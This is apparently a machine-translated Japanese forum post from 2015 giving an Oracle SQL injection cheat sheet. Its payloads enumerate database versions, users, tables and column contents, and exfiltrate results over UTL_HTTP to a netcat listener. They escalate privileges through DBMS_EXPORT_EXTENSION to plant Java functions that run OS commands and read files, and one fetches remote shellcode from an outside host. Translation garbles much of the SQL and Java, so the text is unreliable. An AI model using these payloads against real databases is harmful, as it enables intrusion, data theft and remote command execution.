この投稿は2015年1月24日13:01にテストによって最終編集されました。
コメント:-- 複数文の実行はサポートされておらず、フェデレーテッドクエリもサポートされています データベース名、テーブル名、カラム名はすべて大文字で表記されます。
長さ(体) ascii(substr(field, N, 1))
そして(双対からcount(*)を選択)>0 -- それがオラクルかどうかを判定する
n--
1=2 ユニオン選択null、dualからのnull,.....,null―nullをNまたは「N」に置き換えます。
1=2 ユニオン選択null、(SQL文),.....,dualからnull-- 'N'で(SQL文)に変更
および(all_objects object_name='UTL_HTTP')>0 -- UTL_HTTPがサポートされているかどうか(エクスポートIPが既知か)を判断する
およびUTL_HTTP.request('http://LocalIP:port'||(SQL文))=1-- ローカルリスニングにリモート送信 nc -vv -l -p 1234
SQL文 rownum=1のsys.v_$versionからバナーを選択してoracleバージョンをクエリしてください rownum=1 のv$logfileからメンバーを選択します。ログファイルパスを問い合わせ(WindowsまたはLinux) デュアルからutl_inaddr.get_host_addressを選択してデータベースのリスニングIPを照会します v$instanceからinstance_nameを選択してSIDをクエリします v$databaseから名前を選択してください。現在のデータベース名を検索します。 デュアルクエリデータベースユーザーからsys_context('userenv', 'current_user')を選択します rownum=1 session_rolesの から * を選択して現在のユーザー権限を照会します Rownum=1 のsession_rolesから*を選択してください [およびrole<>'First permission name']]
user_tables からtable_nameを選択し、rownum=1 現在のデータベースの最初のテーブルセグメント 選択table_name||','||tablespace_name user_tables から rownum=1 最初のテーブルセグメント、データベース(検証用にv$databaseではない場合があります) user_tables から table_name を選択し、rownum=1 table_name<>「最初のテーブルセグメント」現在のデータベースの2番目のテーブルセグメント
rownum=1、table_name=「Table Segment」のuser_tab_columnsからcolumn_nameを選択します。テーブル名に対応する最初のフィールドです。 rownum=1、table_name=「テーブルセグメント」およびcolumn_name<>「最初のフィールド」に対応する2番目のフィールドをuser_tab_columnsからcolumn_name選択します。テーブル名に対応する2番目のフィールドです。
Selectフィールドは、rownum=1が最初の行の内容に違反するテーブルセグメントから選べます。 Field from table segment で rownum=1 を選び、field <> 'first line content' を表示すると、2行目の内容が公開されます
クロスライブラリ Rownum=1 が最初のデータベース名をクエリする場合、all_tables から所有者を選択します Rownum=1 の Owner を all_tables<> Owner から選択して、2番目のデータベース名をクエリします
rownum=1、owner='database name」のall_tablesからtable_nameを選択してください。対応するデータベースの最初のテーブル名を検索します。 all_tablesからrownum=1、owner='Database Name'、table_name<>'First table Name')からtable_nameを選択して対応するデータベースの2番目のテーブル名を照会します
all_tab_columns から rownum=1、owner='データベース名」、table_name='table segment' からcolumn_nameを選択します。テーブル名に対応する最初のフィールド all_tab_columnsからcolumn_nameを選択し、rownum=1、owner='データベース名'、table_name='table segment'、column_name<>'first field」。テーブル名に対応する2番目のフィールド
データベースからフィールドを選択します。 rownum=1が最初の行の内容を破るテーブルセグメント データベースからフィールドを選択します。 rownum=1 とフィールド<>「First Line Content」が2行目の内容に違反するテーブルセグメント
SYS。 DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); マルチステートメント終了; --','SYS',0,'1',0)--
' がエスケープされた場合、chr() が使われます。
SYS。 DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79), chr(66)||chr(65)||chr(82)、 chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||マルチステートメント ||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
複数の文が長すぎる場合は、文をウェブサイトのファイルに書き、utl_http.requestで取得できます。
SYS。 DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
JAVAパッケージSecTestを作成する runCMDはシステムコマンドの実行に使用されます そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 「今すぐ実行せよ」と宣言し、 AUTONOMOUS_TRANSACTION 「SecTest」という名前のJavaソースをインポート java.io.*として作成または置き換え・コンパイルします。 public class SecTestはObject{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream())); 文字列 stemp,str=""; while((stemp=myReader.readLine()!=null) str+=stemp+"\n"; myReader.close(); 筋力を戻す; }catch(例外 e){return e.toString(); }}}''''; 終わり; ''; 終わり; --','SYS',0,'1',0)
readFileはファイルを読み取るために使われます そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 「今すぐ実行せよ」と宣言し、 AUTONOMOUS_TRANSACTION 「SecTest」という名前のJavaソースをインポート java.io.*として作成または置き換え・コンパイルします。 public class SecTestはObject{public static string readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); 文字列 stemp,str=""; while((stemp=myReader.readLine()!=null) str+=stemp+"\n"; myReader.close(); 筋力を戻す; }catch(例外 e){return e.toString(); }}}''''; 終わり; ''; 終わり; --','SYS',0,'1',0)
Java権限を付与する そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; 開始 実行 立即 「'''' 開始 dbms_java.GRANT_PERMISSION(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''実行''''''''); 終わり; ''''; 終わり; ''; 終わり; --','SYS',0,'1',0)
関数を作成する SecRunCMD関数 そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; BEGIN EXECUTE IMMEDIATELY('''' function の作成または置き換え SecRunCMD(p_cmd in varchar2) varchar2 を言語として返します java name''''''''SecTest.runCMD(java.lang.String) String を返します'''''''' ; ''''; 終わり; ''; 終わり; --','SYS',0,'1',0)
SecReadFile関数 そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; BEGIN EXECUTE PRESENT '''' 関数を作成または置き換え SecReadFile(varchar2 のファイル名)は varchar2 を言語として返します java name''''''''SecTest.readFile(java.lang.String)は String' を返します '''''''; ''''; 終わり; ''; 終わり; --','SYS',0,'1',0)
公的職務の実行許可を付与する SecRunCMDは権限を付与されます そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; 開始 実行開始 「SecRunCMD上ですべてのGrant to public(SecRunCMD)に公衆に付与」 終わり; ''; 終わり; --','SYS',0,'1',0)
SecReadFile そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; 開始 実行 即時 「SecReadFile上のすべてのものをパブリックに付与する」 終わり; ''; 終わり; --','SYS',0,'1',0)
関数が成功裏に作成されたかどうかを検出します そして(all_objects object_name='SECRUNCMD')>0-- そして(all_objects からcount(*)を選択し、object_name='SECREADFILE')>0--
コマンドを実行してください および「1」<>(sys. dualからのSecRunCMD('Execute command')-- および「1」<>(sys. デュアルからのSecReadFile(「ファイルの物理アドレス」)-- 又は 1=2 ユニオンセレクト null,...,sys。 SecRunCMD('execute command'),...,null from dual-- 1=2 ユニオンセレクト null,...,sys。 SecReadFile('file physical address'),...,dual-- 又は および「1'<>(選択 UTL_HTTP.request('http://LocalIP:port'||REPLACE(REPLACE(sys. SecRunCMD('コマンド実行'), ' '), '\n', ' ')) dual)-- および「1'<>(選択 UTL_HTTP.request('http://LocalIP:port'||REPLACE(REPLACE(sys. SecReadFile('ファイル物理アドレス')、' ', ' '\n', ' '))--
削除関数 そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; BEGIN BEGIN 実行 「」'''drop 関数 SecRunCMD'''; 終わり; ''; 終わり; --','SYS',0,'1',0) そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; BEGIN 実行 即時 「」'''drop function SecReadFile''''; 終わり; ''; 終わり; --','SYS',0,'1',0) |